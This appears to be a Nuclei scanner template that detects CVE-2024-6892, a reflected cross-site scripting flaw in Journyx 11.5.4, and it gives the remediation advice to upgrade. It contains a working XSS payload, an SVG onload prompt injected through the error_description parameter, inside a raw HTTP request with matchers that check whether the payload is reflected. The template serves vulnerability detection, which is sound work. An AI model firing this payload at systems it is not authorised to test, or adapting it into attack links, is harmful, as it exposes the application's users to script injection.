id: CVE-2024-6892

info:
  name: Journyx 11.5.4 - Reflected Cross Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    Attackers can craft a malicious link that once clicked will execute arbitrary JavaScript in the context of the Journyx web application.
  impact: |
    Attackers can craft malicious URLs with XSS payloads in the error_description parameter to execute arbitrary JavaScript when victims click the link.
  remediation: |
    Update Journyx to version 11.5.5 or later to address the reflected XSS vulnerability.
  reference:
    - https://korelogic.com/Resources/Advisories/KL-001-2024-009.txt
    - http://seclists.org/fulldisclosure/2024/Aug/7
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-6892
    cwe-id: CWE-81,CWE-79
    epss-score: 0.00756
    epss-percentile: 0.51568
    cpe: cpe:2.3:a:journyx:journyx:11.5.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: journyx
    product: journyx
    shodan-query: html:"Journyx"
  tags: cve,cve2024,xss,journyx,seclists,vuln

http:
  - raw:
      - |
        GET /jtcgi/r/adlogin/sso?code=1337&state=foobar&id_token=zoinks&error_description=%3Csvg%2fonload%3dprompt(%27document.domain%27)%3E&error=error HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<P>error <B><svg/onload=prompt('document.domain')></B></P>"
          - "journyx"
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - "text/html"
# digest: 4a0a00473045022100e222b753052127592df102e4c8c5a8c4fdf14b134942492e44c334287f0646de02203424bbd79e0a08c1f79fa3905f76671535be53492bb3084b612761b62f3ea0de:922c64590222798bb761d5b6d8e72950